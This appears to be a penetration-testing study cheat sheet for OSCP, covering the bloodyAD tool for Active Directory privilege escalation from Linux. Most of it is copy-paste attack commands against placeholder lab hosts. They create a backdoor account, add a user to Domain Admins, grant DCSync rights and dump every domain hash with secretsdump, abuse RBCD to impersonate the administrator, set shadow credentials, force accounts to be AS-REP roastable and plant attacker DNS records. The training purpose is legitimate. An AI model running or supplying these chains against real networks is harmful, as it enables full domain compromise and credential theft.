bloodyAD

bloodyAD — AD Privesc from Linux

External: Internal All The Things — RBCD External: Internal All The Things — Machine Account Quota External: Internal All The Things — Pre-Created Computer

What is bloodyAD?

bloodyAD (CravateRouge/bloodyAD) is a Python tool that talks LDAP / LDAPS / SAMR to a DC — enumerate and modify AD objects from Kali without Windows tooling.

OSCP use: When BloodHound shows GenericAll, WriteDacl, WriteOwner, or AddMember on a target — bloodyAD implements the LDAP writes: add user → DCSync → Impacket secretsdump. Interpret edges first → WriteDacl · AD Permissions

Requires: Domain creds (or hash / Kerberos / cert). Kerberos Setup - krb5.conf + Time Sync for -k.

more commnads: https://adminions.ca/books/active-directory-enumeration-and-exploitation/page/bloodyad#bkmrk-restore-a-deleted-ob

pip install bloodyAD
# or: git clone + pip install -r requirements.txt
bloodyAD -h

---

📌 1) Global Connection Arguments

-H / --host is required (DC hostname or IP).

Flag	Description
-H, --host	DC FQDN or IP — required
-d, --domain	Domain for auth (e.g. corp.local)
-u, --username	Username
-p, --password	Password, LM:NTHASH, or :NTHASH for PtH
-k, --kerberos	Kerberos (optional: kdc=IP, ccache path)
-f, --format	Hash/key format: rc4, aes, hex, b64, default
-s, --secure	LDAPS / TLS
-i, --dc-ip	DC IP when --host doesn’t resolve
--dns	DNS IP for cross-domain / trust lookups
--gc	Connect to Global Catalog
--json	JSON output
-v	Verbosity: QUIET, INFO, DEBUG, TRACE

Connection examples

# Password
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' get object jsmith
 
# Pass-the-Hash
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p ':NTLM_HASH' get object jsmith
 
# LDAPS
bloodyAD -H dc.corp.local -d corp.local -u jsmith -p 'Password1' -s get object jsmith
 
# Kerberos (after getTGT + krb5.conf + ntpdate)
export KRB5CCNAME=user.ccache
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -k get object jsmith

→ Kerberos Setup - krb5.conf · Use Kerberos Ticket

Command categories: get · add · set · remove · msldap (experimental low-level).

---

📌 2) get — Enumeration

Subcommand	Purpose
get object	LDAP attributes for user/group/computer
get search	Custom LDAP search
get membership	Groups a user belongs to (recursive)
get children	Children of OU/domain/group
get writable	Objects you can write (ACL abuse targets)
get trusts	Domain trust tree
get dnsDump	AD DNS records
get bloodhound	Basic BloodHound CE ZIP (dev — prefer RustHound / bloodhound-python)

# User details
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' get object administrator
 
# Specific attributes
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  get object jsmith --attr samAccountName,memberOf,servicePrincipalName
 
# What can I write? (high value after low-priv compromise)
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' get writable
 
# Group members
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  get children --target "Domain Admins" --otype useronly
 
# LDAP search
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  get search --filter "(objectClass=user)" --attr sAMAccountName
 
# DNS dump (find hidden hosts)
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' get dnsDump

Linux read-only alternatives: ldapsearch, nxc ldap, PowerView (Windows).

---

📌 3) add — Privilege Escalation Actions

Subcommand	Requires	OSCP use
add user	Create user rights	Backdoor account
add groupMember	Add member rights on group	Add self to Domain Admins
add dcsync	WriteDacl on domain	Grant DCSync → secretsdump
add genericAll	Own target or WriteDacl	Full control on user/computer
add rbcd	Write on target computer	RBCD → impersonate DA on host
add shadowCredentials	Write on target user	Key creds → NT hash via PKINIT
add uac	Write on target	DONT_REQ_PREAUTH → AS-REP roast
add computer	Create computer account	Machine account for RBCD
add dnsRecord	DNS admin / write rights	Point hostname to attacker IP

add user

bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' add user backdoor 'P@ssw0rd123'

add groupMember — join privileged group

bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' \
  add groupMember "Domain Admins" jsmith

add dcsync — classic domain dump path

Grants DS-Replication-Get-Changes + Get-Changes-All on domain to trustee:

# As user with WriteDacl on domain (or DA)
bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' add dcsync jsmith
 
# Dump all hashes
impacket-secretsdump corp.local/jsmith:'P@ssw0rd123'@10.10.10.10
 
# Cleanup
bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' remove dcsync jsmith

See Impacket secretsdump, Mimikatz lsadump::dcsync.

add genericAll

bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add genericAll "Domain Admins" jsmith

add rbcd — Resource-Based Constrained Delegation

Requires Write on target’s msDS-AllowedToActOnBehalfOfOtherIdentity (WS2012+):

# Create computer account first (if needed)
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add computer EVILPC 'ComputerPass123!'
 
# Allow EVILPC$ to delegate to TARGET$
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add rbcd TARGET$ EVILPC$
 
# Then S4U2Self/S4U2Proxy via Impacket getST → PtT
impacket-getST -spn cifs/TARGET.corp.local -impersonate administrator \
  -dc-ip 10.10.10.10 corp.local/EVILPC$:'ComputerPass123!'
export KRB5CCNAME=administrator.ccache
impacket-wmiexec -k -no-pass corp.local/administrator@TARGET.corp.local

add shadowCredentials

bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add shadowCredentials administrator
# Outputs TGT ccache / NT hash via PKINIT (DC ≥ Server 2016)

add uac — force AS-REP roastable

bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add uac victim -f DONT_REQ_PREAUTH

Then Kerberoast / GetNPUsers. See Kerberos Scripts.

add dnsRecord

bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  add dnsRecord evilhost.corp.local 10.10.14.5

Default ADIDNS write: Any authenticated user can often add records without DNS Admin — use krbrelayx > dnstool.py — AD Integrated DNS (ADIDNS) (dnstool.py) or this subcommand. Intelligence-style web* hijack → krbrelayx.

---

📌 4) set — Modify Attributes

Subcommand	Purpose
set password	Reset user/computer password
set owner	Change object owner (WriteOwner)
set object	Add/replace/delete LDAP attribute
set restore	Restore deleted AD object

# Reset password (needs permission or --oldpass)
bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' \
  set password jsmith 'NewPassword123!'
 
# Change owner to yourself (privesc step)
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  set owner "CN=Admin,CN=Users,DC=corp,DC=local" jsmith
 
# Set SPN / description / etc.
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  set object jsmith servicePrincipalName -v HTTP/fake.corp.local

---

📌 5) remove — Cleanup / Undo

bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' remove dcsync jsmith
bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' \
  remove groupMember "Domain Admins" jsmith
bloodyAD -H 10.10.10.10 -d corp.local -u admin -p 'AdminPass!' remove object backdoor
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' \
  remove uac victim -f DONT_REQ_PREAUTH

---

📌 6) msldap — Experimental Console

Lower-level LDAP/SAMR operations (subset mirrors Certify-style AD CS checks):

bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' msldap whoami
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' msldap spns
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' msldap asrep
bloodyAD -H 10.10.10.10 -d corp.local -u jsmith -p 'Password1' msldap certtemplates

For full AD CS workflow prefer Certipy & Certify.

---

📌 7) OSCP Attack Chains

BloodHound → bloodyAD → DCSync

1. [[Bloodhound + Sharphound]] — "Shortest path to DA"
2. Find: OwnedUser → GenericAll/WriteDacl on DOMAIN
3. bloodyAD add dcsync OwnedUser
4. impacket-secretsdump corp.local/OwnedUser:pass@DC_IP
5. PtH to DA → [[evil-winrm]] / psexec

Writable OU / group

bloodyAD ... get writable
bloodyAD ... add groupMember "Server Admins" jsmith
# or add user + add groupMember

RBCD path (BloodHound: Write on computer)

bloodyAD ... add computer ATTACK$ 'Pass123!'
bloodyAD ... add rbcd TARGET$ ATTACK$
impacket-getST ...  # impersonate administrator

---

📌 8) bloodyAD vs Other Tools

Need	Tool
Read LDAP from Linux	ldapsearch, bloodyAD get, nxc ldap
Write LDAP / ACL abuse	bloodyAD
Graph attack paths	Bloodhound + Sharphound, SharpHound, RustHound
DCSync dump (after rights)	Impacket secretsdump, Mimikatz
Windows on-box enum	PowerView, Active Directory Cmdlets
AD CS	Certipy & Certify
Kerberos roast	Kerberoast, Kerberos Scripts

---

📌 Quick Cheat Sheet

# Writable objects (find abuse targets)
bloodyAD -H DC_IP -d corp.local -u user -p 'pass' get writable
 
# Escalate: DCSync rights → dump
bloodyAD -H DC_IP -d corp.local -u user -p 'pass' add dcsync user
impacket-secretsdump corp.local/user:pass@DC_IP
 
# Join Domain Admins
bloodyAD -H DC_IP -d corp.local -u user -p 'pass' add groupMember "Domain Admins" user
 
# RBCD
bloodyAD -H DC_IP -d corp.local -u user -p 'pass' add rbcd TARGET$ ATTACK$

---

Related Tools

• Impacket
• Bloodhound + Sharphound
• SharpHound
• RustHound
• ldapsearch
• PowerView
• Mimikatz
• Certipy & Certify
• krbrelayx
• Kerberoast
• Time Sync

Related Notes

• Active Directory
• AD
• LatMovement
• Windows PrivEsc
• Kerberos
• Initial foothold
• DCSync
• HasSession
• AD Permissions
• WriteDacl
• GenericAll
• GenericWrite
• ForceChangePassword
• AddMember
• AD CS Permissions
• Kerberos Setup - krb5.conf
• Training